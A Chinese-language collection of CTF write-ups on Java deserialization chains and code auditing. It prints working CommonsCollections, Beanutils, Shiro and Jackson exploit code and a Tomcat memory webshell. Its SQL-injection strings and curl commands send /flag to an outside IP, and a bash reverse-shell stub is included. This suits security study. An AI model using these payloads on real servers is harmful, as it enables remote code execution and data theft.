Java各种反序列化调用链、代码审计等大赛题目手法详细学习汇总

Java反序列化、代码审计等大赛题目详细手法解析,通过手动调试使用特定条件下反序列化的gadget,对反序列化链子的利用汇总学习,希望对各位师傅Java之路的学习有所帮助

鹏城杯 ezJava

考察:二次反序列化

源码如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.Ez_Java.controller;

import com.example.Ez_Java.util.Secure;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Base64;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.tomcat.util.http.fileupload.IOUtils;
import org.springframework.core.io.ClassPathResource;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
    public IndexController() {
    }

    @ResponseBody
    @RequestMapping({"/index"})
    public String index() {
        return "草,走,忽略!ጿ ኈ ቼ ዽ ጿ";
    }

    @ResponseBody
    @RequestMapping({"/flag"})
    public void flag(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ClassPathResource resource = new ClassPathResource("static/video/flag.mp4");
        response.setContentType("video/mp4");
        response.addHeader("Content-Length", "" + resource.getInputStream().available());
        InputStream is = resource.getInputStream();
        OutputStream os = response.getOutputStream();
        IOUtils.copy(is, os);
    }

    @ResponseBody
    @PostMapping({"/read"})
    public String read(@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException {
        byte[] b = Base64.getDecoder().decode(data);
        InputStream bis = new ByteArrayInputStream(b);
        Secure ois = new Secure(bis);
        ois.readObject();
        return "沈阳等你噢";
    }
}

pom.xml依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>Ez_Java</artifactId>
    <version>1.0-SNAPSHOT</version>
    <name>Ez_Java</name>
    <description>Ez_Java</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.25.0-GA</version>
        </dependency>
        <dependency>
            <groupId>org.projectlombok</groupId>
            <artifactId>lombok</artifactId>
            <optional>true</optional>
        </dependency>
        <dependency>
            <groupId>org.apache.flex.blazeds</groupId>
            <artifactId>flex-messaging-core</artifactId>
            <version>4.7.2</version>
        </dependency>
        <!-- https://mvnrepository.com/artifact/org.json/json -->
        <dependency>
            <groupId>org.json</groupId>
            <artifactId>json</artifactId>
            <version>20211205</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-tomcat</artifactId>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
                <configuration>
                    <excludes>
                        <exclude>
                            <groupId>org.projectlombok</groupId>
                            <artifactId>lombok</artifactId>
                        </exclude>
                    </excludes>
                </configuration>
            </plugin>
        </plugins>
    </build>

</project>

黑名单如下

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.Ez_Java.util;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.util.HashSet;
import java.util.Set;

public class Secure extends ObjectInputStream {
    private final Set<Object> blackList = new HashSet<Object>() {
        {
            this.add("javax.management.BadAttributeValueExpException");
            this.add("org.apache.commons.collections.keyvalue.TiedMapEntry");
            this.add("org.apache.commons.collections.functors.ChainedTransformer");
            this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
            this.add("org.apache.commons.collections4.functors.ChainedTransformer");
            this.add("org.apache.commons.collections4.functors.InstantiateTransformer");
            this.add("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter");
        }
    };

    public Secure(InputStream in) throws IOException {
        super(in);
    }

    protected Class<?> resolveClass(ObjectStreamClass cls) throws IOException, ClassNotFoundException {
        if (this.blackList.contains(cls.getName())) {
            throw new InvalidClassException("Unexpected serialized class", cls.getName());
        } else {
            return super.resolveClass(cls);
        }
    }
}

反序列化命令执行点ChainedTransformer或者TemplatesImpl加载字节码都被禁用了,只能使用二次反序列化绕过

方法一

  • RMIConnector#connect来二次反序列化

拼上CommonsCollections2的PriorityQueue调用x1.transform(x2),invokerTransformer调用任意方法,就可以调上述方法。

package test;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;


import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.*;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.PriorityQueue;

public class aTest {
    public static void main(String[] args) throws Exception {
        byte[] expBytes=serialize(getPriorityQueueExp());
        String exp=Base64.getEncoder().encodeToString(expBytes);
        RMIConnector rmiConnector=new RMIConnector(
                new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),
                new HashMap<String,Integer>()
        );
        InvokerTransformer invokerTransformer=new InvokerTransformer("connect",null,null);
        //invokerTransformer.transform(rmiConnector)
        TransformingComparator comparator=new TransformingComparator(invokerTransformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞rmiConnector
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{rmiConnector,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        byte[] b=serialize(queue);
        String base=Base64.getEncoder().encodeToString(b);
        System.out.println(base);
//        read(base);
    }
    static void myTest() throws Exception {
        byte[] expBytes=serialize(getPriorityQueueExp());
//        deserialize(expBytes);
        String exp=Base64.getEncoder().encodeToString(expBytes);
        RMIConnector rmiConnector=new RMIConnector(new JMXServiceURL("service:jmx:rmi://localhost:12345/stub/"+exp),new HashMap<String,Integer>());
        rmiConnector.connect();
    }
    public static String read(String data) throws IOException, ClassNotFoundException {
        byte[] b = Base64.getDecoder().decode(data);
        InputStream bis = new ByteArrayInputStream(b);
        Secure ois = new Secure(bis);
        ois.readObject();
        return "沈阳等你噢";
    }
    public static void deserialize(byte[] bytes) {
        try {
            ByteArrayInputStream ais = new ByteArrayInputStream(bytes);
            ObjectInputStream ois = new ObjectInputStream(ais);
            ois.readObject();
            ois.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    public static byte[] serialize(Object o) {
        try {
            ByteArrayOutputStream aos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(aos);
            oos.writeObject(o);
            oos.flush();
            oos.close();
            return aos.toByteArray();
        } catch (Exception e) {
            e.printStackTrace();
        }
        return null;
    }

    static PriorityQueue getPriorityQueueExp() throws Exception {
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_bytecodes", new byte[][] {
                ClassPool.getDefault().get(test.InjectTomcat01.class.getName()).toBytecode()});
        setFieldValue(templates, "_name", "EvilTemplatesImpl"); setFieldValue(templates,
                "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        //制作transformer
        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        //接下来只需调用transformer.transform(templatesImpl)
//        transformer.transform()
        TransformingComparator comparator=new TransformingComparator(transformer);
        PriorityQueue queue=new PriorityQueue();
        //让size=2
        queue.add(3);
        queue.add(4);
//        反射,强行往queue塞templatesImpl
        Class queueClass=queue.getClass();
        Field queueField=queueClass.getDeclaredField("queue");
        queueField.setAccessible(true);
        queueField.set(queue,new Object[]{templates,1});

        //反射强写comparator
        Class clazz=queue.getClass();
        Field comparatorField=clazz.getDeclaredField("comparator");
        comparatorField.setAccessible(true);
        comparatorField.set(queue, comparator);
        return queue;
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws
            Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }


}

不出网直接打内存马

package test;

import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
import java.util.Map;

public class InjectTomcat01 extends AbstractTranslet implements Filter{

    private static String filterName = "k";
    private static String param = "cmd";
    private static String filterUrlPattern = "/*";
    static {
        try{
            WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
            ServletContext servletContext = standardContext.getServletContext();
            Field filterConfigs = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("filterConfigs");
            filterConfigs.setAccessible(true);
            Map map = (Map) filterConfigs.get(standardContext);
            if (map.get(filterName) == null && standardContext != null){
                Field stateField = Class.forName("org.apache.catalina.util.LifecycleBase").getDeclaredField("state");
                stateField.setAccessible(true);
                stateField.set(standardContext, LifecycleState.STARTING_PREP);
                FilterRegistration.Dynamic filter = servletContext.addFilter(filterName, new InjectTomcat01());
                filter.addMappingForUrlPatterns(java.util.EnumSet.of(DispatcherType.REQUEST),false,new String[]{filterUrlPattern});
                Method filterStart = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredMethod("filterStart");
                filterStart.invoke(standardContext,null);
                FilterMap[] filterMaps = standardContext.findFilterMaps();
                for (int i = 0 ; i < filterMaps.length ; i++){
                    if (filterMaps[i].getFilterName().equalsIgnoreCase(filterName)){
                        FilterMap filterMap = filterMaps[0];
                        filterMaps[0] = filterMaps[i];
                        filterMaps[i] = filterMap;
                    }
                }
                stateField.set(standardContext,LifecycleState.STARTED);
            }
        }catch (Exception e){}
    }


    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {

    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        String string = servletRequest.getParameter(param);
        if (string != null){
            String osName = System.getProperty("os.name");
            String[] cmd = osName != null && osName.toLowerCase().contains("win") ? new String[]{"cmd.exe","/c",string} : new String[]{"/bin/bash","-c",string};
            Process exec = Runtime.getRuntime().exec(cmd);
            BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
            StringBuffer stringBuffer = new StringBuffer();
            String lineData;
            while ((lineData = bufferedReader.readLine()) != null){
                stringBuffer.append(lineData + '\n');
            }
            servletResponse.getOutputStream().write(stringBuffer.toString().getBytes(StandardCharsets.UTF_8));
            servletResponse.getOutputStream().flush();
            servletResponse.getOutputStream().close();
        }
        filterChain.doFilter(servletRequest,servletResponse);
    }

    @Override
    public void destroy() {

    }
}

方法二

CB链的compare处进行SignObject二次反序列化绕过

package org.example;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.functors.InstantiateTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.keyvalue.TiedMapEntry;  
import org.apache.commons.collections.map.LazyMap;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.util.ByteSource;  
import org.apache.xalan.transformer.TrAXFilter;  

import javax.xml.transform.Templates;  
import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.nio.file.Files;  
import java.nio.file.Paths;  
import java.security.*;  
import java.util.*;  

public class ezjava_exp {  
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {  
        Field field = obj.getClass().getDeclaredField(fieldName);  
        field.setAccessible(true);  
        field.set(obj, value);  
    }  
    public static void main(String[] args) throws Exception {  
        TemplatesImpl obj = new TemplatesImpl();  
        setFieldValue(obj, "_bytecodes", new byte[][]{  
                ClassPool.getDefault().get(evil.class.getName()).toBytecode()  
        });  
        setFieldValue(obj, "_name", "HelloTemplatesImpl");  
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());  
        Transformer[] transformers=new Transformer[]{  
                new ConstantTransformer(TrAXFilter.class),  
                new InstantiateTransformer(new Class[]{Templates.class},new Object[]{obj})  
        };  
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);  
        HashMap<Object,Object> map=new HashMap<>();  
        Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1)); //随便改成什么Transformer  
        TiedMapEntry tiedMapEntry=new TiedMapEntry(lazymap, "aaa");  
        HashMap<Object, Object> hashMap=new HashMap<>();  
        hashMap.put(tiedMapEntry,"bbb");  
        map.remove("aaa");  
        Field factory = LazyMap.class.getDeclaredField("factory");  
        factory.setAccessible(true);  
        factory.set(lazymap,chainedTransformer);  
        KeyPairGenerator keyPairGenerator;  
        keyPairGenerator = KeyPairGenerator.getInstance("DSA");  
        keyPairGenerator.initialize(1024);  
        KeyPair keyPair = keyPairGenerator.genKeyPair();  
        PrivateKey privateKey = keyPair.getPrivate();  
        Signature signingEngine = Signature.getInstance("DSA");  

        SignedObject signedObject = new SignedObject(hashMap,privateKey,signingEngine);  
        BeanComparator comparator = new BeanComparator();  
        Queue queue = new PriorityQueue(2, comparator);  
        queue.add(1);  
        queue.add(1);  
        setFieldValue(comparator, "property", "object");  
        setFieldValue(queue, "queue", new Object[]{signedObject, signedObject});  
        // ⽣成序列化字符串  
        ByteArrayOutputStream barr = new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(barr);  
        oos.writeObject(queue);  
        oos.close();  
        Base64Encode(barr);  
    }  
    private static String Base64Encode(ByteArrayOutputStream bs){  
        byte[] encode = Base64.getEncoder().encode(bs.toByteArray());  
        String s = new String(encode);  
        System.out.println(s);  
        System.out.println(s.length());  
        return s;  
    }  
}

成功打通!

RealWord CTF Old-Shiro

使用以下 docker-compose 文件搭建

docker文件配置不出网

version: '3.3'
services:
  nginx:
    image: nginx:1.20.1
    ports:
      - "0.0.0.0:8888:8888"
    volumes:
        - ./nginx.conf:/etc/nginx/nginx.conf
    networks:
      - internal_network
      - out_network
  backend:
    build:
      context: ./backend
      dockerfile: Dockerfile
    networks:
      - internal_network
networks:
    internal_network:
        internal: true
        ipam:
            driver: default
    out_network:
        ipam:
            driver: default

首先分析 oldshiro 这个 jar 包,可以看到其设置了最大的 header 长度为 3000

pom.xml如下 java 8环境

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <groupId>org.example</groupId>
    <artifactId>OldShiroSolution</artifactId>
    <version>1.0-SNAPSHOT</version>
    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.29.2-GA</version>
        </dependency>
        <dependency>
            <groupId>com.nqzero</groupId>
            <artifactId>permit-reflect</artifactId>
            <version>0.3</version>
        </dependency>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
        <dependency>
            <groupId>commons-beanutils</groupId>
            <artifactId>commons-beanutils</artifactId>
            <version>1.9.2</version>
        </dependency>
        <dependency>
            <groupId>org.ow2.asm</groupId>
            <artifactId>asm-tree</artifactId>
            <version>7.3.1</version>
        </dependency>
    </dependencies>
</project>

ShiroAttack2 爆破 shiro key 为 kPH+bIxk5D2deZiIxcaaaA==, remember cookie 为 rememberMe_rwctf_2024

题目环境不出网, 打内存马会超出 header 长度限制, 需要缩小 payload

POC如下

package exp;  

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  
import javassist.ClassPool;  
import javassist.CtClass;  
import javassist.CtConstructor;  
import org.apache.commons.beanutils.BeanComparator;  
import org.apache.shiro.codec.Base64;  
import org.apache.shiro.crypto.AesCipherService;  
import org.apache.shiro.crypto.CipherService;  
import org.apache.shiro.util.ByteSource;  

import java.io.ByteArrayOutputStream;  
import java.io.IOException;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Field;  
import java.util.PriorityQueue;  

public class Exp {  
    public static void setFieldValue(Object object, String field, Object value) throws NoSuchFieldException, IllegalAccessException {  
        Field dfield = object.getClass().getDeclaredField(field);  
        dfield.setAccessible(true);  
        dfield.set(object, value);  
    }  
    public static byte[] getTemplatesImpl(String cmd) {  
        try {  
            ClassPool pool = ClassPool.getDefault();  
            CtClass ctClass = pool.makeClass("SC");//起一个好听的名字  
            CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");//固定  
            ctClass.setSuperclass(superClass);  
            CtConstructor constructor = ctClass.makeClassInitializer();  
            String body = "javax.servlet.http.HttpServletRequest r = ((org.springframework.web.context.request.ServletRequestAttributes) org.springframework.web.context.request.RequestContextHolder.getRequestAttributes()).getRequest();\n" +  
                    "java.lang.reflect.Field f = r.getClass().getDeclaredField(\"request\");\n" +  
                    "f.setAccessible(true);\n" +  
                    "org.apache.catalina.connector.Response p =((org.apache.catalina.connector.Request) f.get(r)).getResponse();\n" +  
                    "java.io.Writer w = p.getWriter();\n" +  
                    "w.write(new java.util.Scanner(new java.io.File(\"/flag\")).next());\n" +  
                    "w.flush();";  
            constructor.setBody("{" + body + "}");  
            //上面setBody自定义,其他都是固定的  
            byte[] bytes = ctClass.toBytecode();  
            ctClass.defrost();  
            return bytes;  
        } catch (Exception e) {  
            e.printStackTrace();  
            return new byte[]{};  
        }  
    }  
    public static void main(String[] args) throws Exception {  


        TemplatesImpl templatesImpl = new TemplatesImpl();  
        setFieldValue(templatesImpl, "_name", "Hello");  
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{getTemplatesImpl("c")});  
        setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());  

        BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);  
        PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);  
        priorityQueue.add("1");  
        priorityQueue.add("1");  

        beanComparator.setProperty("outputProperties");  
        setFieldValue(priorityQueue, "queue", new Object[]{templatesImpl, templatesImpl});  
        byte[] serialized = serialize(priorityQueue);  

        CipherService cipherService = new AesCipherService();  
        byte[] key = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");  
        ByteSource byteSource = cipherService.encrypt(serialized, key);  
        byte[] value = byteSource.getBytes();  
        String enc = Base64.encodeToString(value);  
        System.out.println(enc.length());  
        System.out.println(enc);  
    }  
    public static byte[] serialize(Object object) throws IOException {  
        ByteArrayOutputStream byteArrayOutputStream=new ByteArrayOutputStream();  
        ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);  
        oos.writeObject(object);  
        return byteArrayOutputStream.toByteArray();  
    }  

}

成功打通!

网鼎杯 Think Java

源码处存在sql注入

//首先会先通过数据库名进行数据库链接,所以这一步不能出错,这导致了常规的sql拼接失败了,因为拼接之后的字符串不可能是它们其中的一个数据库名,所以要采取别的方法
       try {
            Class.forName("com.mysql.jdbc.Driver");
            if (dbName != null && !dbName.equals("")) {
                dbName = "jdbc:mysql://mysqldbserver:3306/" + dbName;
            } else {
                dbName = "jdbc:mysql://mysqldbserver:3306/myapp";
            }

            if (user == null || dbName.equals("")) {
                user = "root";
            }

            if (pass == null || dbName.equals("")) {
                pass = "abc@12345";
            }

            conn = DriverManager.getConnection(dbName, user, pass);


//然后才能进行SQL注入
String sql = "Select TABLE_COMMENT from INFORMATION_SCHEMA.TABLES Where table_schema = '" + dbName + "' and table_name='" + TableName + "';";
 ResultSet rs = stmt.executeQuery(sql);

Swagger

注意看Test.java,导入了swagger这个东西, 访问swagger-ui.html,会看到有三个路由,分别对应不同的功能,注意看第三个功能,对应着jar包中Test.class,我们可以通过传dbName来进行sql注入

jdbc sql注入

jdbc连接数据库语句后面可以跟参数
jdbc:mysql://localhost:3306/数据库名?user=用户名&password=密码&useUnicode=true&characterEncoding=utf-8&serverTimezone=GMT

后跟无效参数也不会影响,所以可以

jdbc:mysql://localhost:3306/myapp?a=1' union select 1#
jdbc:mysql://localhost:3306/myapp#' union select 1#

注意 : jdbc类似于url解析,所以会忽略#后面的字符

#又是sql注入中的注释符,如果我们需要在url中传#,那么需要进行url编码为%23

注入数据库名字

dbName='union+select+gourp_concat(schema_name)+from+information_schema.schemata%23

查表名

dbName=myapp#' union select group_concat(table_name)from(information_schema.tables)where(table_schema='myapp')#
结果
user

查字段名

myapp#' union select group_concat(column_name)from(information_schema.columns)where((table_schema='myapp')and(table_name='user'))#

查询账号密码

dbName=myapp#' union select group_concat(name)from(user)#
结果 admin
dbName=myapp#' union select group_concat(pwd)from(user)#
结果 admin@Rrrr_ctf_asde

登陆进去之后,发现字段Bearer

对序列化字符串分析

Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu

下方的特征可以作为序列化的标志参考:

一段数据以rO0AB开头,你基本可以确定这串就是Java序列化base64加密的数据。
如果以aced开头,那么他就是这一段Java序列化的16进制。

java Deserialization Scanner插件使用

使用burpsuite的java Deserialization Scanner插件对其进行分析,在extender中安装这个插件

然后抓包,先将报文发送到插件,然后选中token,再选择base64encode,然后测试出rome反序列化漏洞

我们使用yso构造rome反序列化payload

java -jar ysoserial-all.jar  ROME "curl http://47.120.33.255:8999/ -d @/flag" |base64
  • -d @/flag: 这个选项指定了一个数据块被作为 POST 请求体发送到服务器。这里的 @ 符号告诉 curl 从文件中读取数据。/flag 是文件路径,意味着 curl 将会读取这个文件的内容,并将其作为 POST 数据发送给服务器。

然后cv上去打通

红名谷 ezWeb

刚开始测出来一个shiro权限绕过,Accept中需要添加 application/json才可以正常回显

访问如下即可绕过

/;/json


观察回显发现是jackson,直接打jackson反序列化JNDI注入
使用jndi注入工具:JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar  -C "curl http://ip:8999 -d @/flag" -A ip

CVE-2020-36188 完整的POC如下:

import com.fasterxml.jackson.databind.ObjectMapper;

import java.io.IOException;

public class CVE_2020_36187 {
    public static void main(String[] args) throws IOException {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"com.newrelic.agent.deps.ch.qos.logback.core.db.JNDIConnectionSource\",{\"jndiLocation\":\"ldap://127.0.0.1:1389/Exploit\"}]";

        Object o = mapper.readValue(payload, Object.class);
        mapper.writeValueAsString(o);
    }
}

打的时候传入payload如下:

["ch.qos.logback.core.db.JNDIConnectionSource",{"jndiLocation":"rmi://ip:1099/penwsf"}]

DASCTF Apr X FATE 防疫挑战赛 warmup-java

审计源码发现反序列化点

@Controller  
/* loaded from: IndexController.class */  
public class IndexController {  
    @RequestMapping({"/warmup"})  
    public String greeting(@RequestParam(name = "data", required = true) String data, Model model) throws Exception {  
        new ObjectInputStream(new ByteArrayInputStream(Utils.hexStringToBytes(data))).readObject();  
        return "index";  
    }  
}

自己实现了一个InvocationHandler类

public class MyInvocationHandler implements InvocationHandler, Serializable {  
    private Class type;  

    @Override // java.lang.reflect.InvocationHandler  
    public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {  
        for (Method xmethod : this.type.getDeclaredMethods()) {  
            xmethod.invoke(args[0], new Object[0]);  
        }  
        return null;  
    }  
}

查看pom.xml并没什么依赖

<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>
    <parent>
        <groupId>org.springframework.boot</groupId>
        <artifactId>spring-boot-starter-parent</artifactId>
        <version>2.6.6</version>
        <relativePath/> <!-- lookup parent from repository -->
    </parent>
    <groupId>com.example</groupId>
    <artifactId>warmup</artifactId>
    <version>0.0.1-SNAPSHOT</version>
    <name>warmup</name>
    <description>warmup</description>
    <properties>
        <java.version>1.8</java.version>
    </properties>
    <dependencies>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-thymeleaf</artifactId>
        </dependency>
        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-web</artifactId>
        </dependency>

        <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-starter-test</artifactId>
            <scope>test</scope>
        </dependency>
    </dependencies>

    <build>
        <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
    </build>

</project>

查看一下lib包

那我们直接打Jackson原生反序列化 EventListenerList链子

package EXP;  

import com.fasterxml.jackson.databind.node.POJONode;  
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  
import javassist.*;  
import org.springframework.aop.framework.AdvisedSupport;  
import javax.swing.event.EventListenerList;  
import javax.swing.undo.UndoManager;  
import javax.xml.transform.Templates;  
import java.io.ByteArrayOutputStream;  
import java.io.ObjectOutputStream;  
import java.lang.reflect.Constructor;  
import java.lang.reflect.Field;  
import java.lang.reflect.InvocationHandler;  
import java.lang.reflect.Proxy;  
import java.util.Map;  
import java.util.Vector;  

public class exp {  
    public static void main(String[] args) throws Exception {  

        ClassPool pool = ClassPool.getDefault();  

        CtClass ctClass0 = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");  
        CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace");  
        ctClass0.removeMethod(writeReplace);  
        ctClass0.toClass();  

        CtClass ctClass = pool.makeClass("a");  
        CtClass superClass = pool.get(AbstractTranslet.class.getName());  
        ctClass.setSuperclass(superClass);  
        CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);  
        cons.setBody("Runtime.getRuntime().exec(\"bash -c {echo,}|{base64,-d}|{bash,-i}\");");  
        ctClass.addConstructor(cons);  
        byte[] bytes = ctClass.toBytecode();  

        TemplatesImpl templatesImpl = new TemplatesImpl();  
        setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});  
        setFieldValue(templatesImpl, "_name", "test");  
        setFieldValue(templatesImpl, "_tfactory", null);  

        AdvisedSupport advisedSupport = new AdvisedSupport();  
        advisedSupport.setTarget(templatesImpl);  
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);  
        constructor.setAccessible(true);  
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);  
